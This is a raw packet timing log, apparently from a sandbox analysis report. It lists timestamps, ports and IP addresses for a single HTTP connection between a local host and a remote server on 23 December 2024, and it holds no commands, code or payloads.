Dec 23, 2024 08:39:41.756582975 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.756714106 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.756743908 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.757530928 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.757586002 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.757616043 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.758438110 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.758508921 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.758569956 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.759366035 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.759459019 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.759490967 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.760273933 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.760406971 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.760418892 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.761177063 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.761303902 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.761492014 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.762126923 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.762238979 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.762440920 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.763015032 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.763112068 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.763202906 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.763940096 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.764081955 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.764286995 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.764949083 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.764961958 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.765109062 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.765855074 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.765918970 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.766040087 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.766675949 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.766731977 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.766787052 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.767652988 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.767793894 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.768027067 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.768505096 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.768620968 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.768650055 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.769440889 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.769505024 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.769535065 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.770438910 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.770473957 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.770503044 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.795420885 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.847352982 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.905734062 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.905909061 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.906126022 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.906207085 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.906295061 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.906379938 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.907156944 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.907164097 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.907445908 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.908178091 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.908186913 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.908298969 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.908895969 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.909002066 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.909085989 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.909926891 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.909934998 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.910065889 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.910713911 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.910842896 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.910948992 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.911711931 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.911879063 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.912374020 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.912609100 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.912705898 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.913446903 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.913516045 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.913662910 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.913764000 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.914426088 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.914489985 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.915112972 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.915317059 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.915411949 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.915719032 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.916268110 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.916347980 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.917170048 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.917218924 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.927371979 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.927529097 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.927565098 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.927572966 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.927594900 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.927845955 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.928476095 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.928637028 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.928886890 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.929438114 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.929549932 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.929585934 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.930332899 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.930510998 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.930576086 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.931282043 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.931427002 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.931432009 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.932197094 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.932356119 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.932394028 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.933229923 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.933370113 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.933401108 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.934025049 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.934031963 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.934108973 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.934966087 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.934998989 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.935039043 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.935837984 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.935925007 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.936048031 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.936577082 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.936764002 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.936841011 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.937437057 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.937654018 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.937815905 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.937849998 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.938576937 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.938954115 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.939110994 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.939727068 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.939734936 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.939867020 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.940468073 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.940483093 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.940587997 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.941368103 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.941375971 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.941601992 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.942276955 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.942302942 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.942409039 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.943146944 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.943269014 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.943325996 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.944036961 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.944283009 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.944381952 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.945045948 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.945091963 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.945331097 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.945987940 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.946130037 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.946218967 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.946885109 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.946952105 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.947012901 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.947770119 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.947844028 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.947882891 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.948708057 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.948824883 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.948859930 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.949651003 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.949657917 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.949949980 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.950463057 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.950670004 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.950685024 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.951374054 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.951529026 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.951562881 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.952306032 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.952449083 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.952487946 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.953274012 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.953344107 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.953727007 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.954160929 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.954293013 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.954328060 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.955090046 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.955255032 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.955255032 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.956008911 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.956079960 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.956227064 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.956861973 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.957025051 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.957155943 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.957849026 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.957890034 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.958268881 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.958703041 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.958868980 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.958872080 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.959639072 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.959775925 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.959932089 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.960560083 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.960567951 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.961246967 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.961457968 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.961489916 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.961520910 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.962471008 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.962476969 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.962630033 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.963291883 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.964576960 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.006654978 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.098350048 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.098367929 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.098587990 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.098609924 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.098630905 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.099328995 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.099570036 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.099606991 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.099719048 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.100399017 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.100505114 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.100892067 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.101336956 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.101389885 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.102219105 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.102279902 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.102313995 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.102528095 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.103141069 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.103267908 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.103348017 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.104073048 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.104204893 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.104475021 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.104959965 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.105082035 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.105222940 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.105870962 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.105990887 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.106785059 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.106843948 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.106901884 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.106971979 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.107757092 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.107836008 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.107913971 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.108650923 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.108730078 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.108994961 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.109601974 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.110893965 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.119755030 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.119946957 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.119975090 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.120297909 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.120381117 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.120443106 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.121097088 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.121233940 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.121258974 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.121995926 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.122035027 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.122066975 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.122910023 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.122967005 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.123063087 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.123887062 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.123941898 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.124059916 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.124766111 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.124835968 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.124870062 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.125701904 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.125765085 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.125782013 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.126650095 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.126755953 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.126764059 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.127553940 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.127563000 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.127686977 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.127687931 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.128448963 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.128496885 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.128525972 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.129352093 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.129478931 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.129479885 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.130367994 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.130374908 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.130469084 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.131194115 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.131273985 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.131306887 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.132144928 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.132211924 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.132257938 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.132998943 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.133085966 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.133188009 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.133990049 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.134098053 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.134110928 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.134800911 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.134931087 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.134943008 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.135747910 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.135858059 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.135878086 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.136640072 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.136729956 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.136784077 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.137578964 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.137726068 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.137806892 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.138521910 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.138649940 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.138751984 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.139395952 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.139461994 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.139548063 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.140382051 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.140433073 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.140491962 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.141252995 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.141418934 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.141449928 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.142163038 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.142260075 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.142288923 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.143109083 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.143224955 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.143229008 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.143990993 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.144084930 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.144166946 CET	49783	80	192.168.2.6	139.99.188.124
